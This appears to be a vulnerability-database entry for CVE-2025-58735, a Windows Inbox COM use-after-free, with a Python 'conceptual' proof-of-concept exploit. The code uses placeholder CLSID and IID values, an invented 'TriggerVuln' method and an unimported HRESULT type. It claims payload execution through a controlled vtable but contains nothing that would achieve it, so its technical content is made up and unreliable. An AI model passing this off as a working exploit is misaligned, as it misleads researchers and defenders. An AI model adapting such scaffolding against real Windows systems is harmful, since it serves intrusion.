CVE-2025-58735 Microsoft Windows Inbox COM对象释放后重用漏洞

# CVE-2025-58735 - Windows Inbox COM Object Use-After-Free PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation technique. # Actual exploitation requires specific COM object GUIDs and memory layouts. import ctypes import comtypes from comtypes import GUID, IUnknown, COMMETHOD import struct import os # Step 1: Define the target COM interface # The actual CLSID/IID would need to be determined through reverse engineering TARGET_CLSID = GUID("{YOUR-TARGET-CLSID-HERE}") TARGET_IID = GUID("{YOUR-TARGET-IID-HERE}") class IExploitTarget(IUnknown): _iid_ = TARGET_IID _methods_ = [ COMMETHOD([], HRESULT, "TriggerVuln", (['in'], ctypes.c_void_p, 'param1')), ] def trigger_uaf(): """ Conceptual UAF trigger: 1. Create COM object instance 2. Trigger release path through specific API sequence 3. Access freed memory through dangling pointer 4. Execute payload via controlled vtable """ # Initialize COM comtypes.CoInitialize() try: # Create the vulnerable COM object obj = comtypes.CoCreateInstance( TARGET_CLSID, interface=IExploitTarget ) # Step 2: Trigger the vulnerable code path # This specific sequence causes the object to be freed # while references still exist obj.TriggerVuln(0xDEADBEEF) # Step 3: Access freed memory (UAF) # The dangling pointer still references freed memory # which can now be controlled by attacker obj.TriggerVuln(0xCAFEBABE) except Exception as e: print(f"Exception: {e}") finally: comtypes.CoUninitialize() if __name__ == "__main__": print("CVE-2025-58735 PoC - Conceptual Demonstration") print("WARNING: For educational/research purposes only") # trigger_uaf() # Uncomment to attempt exploitation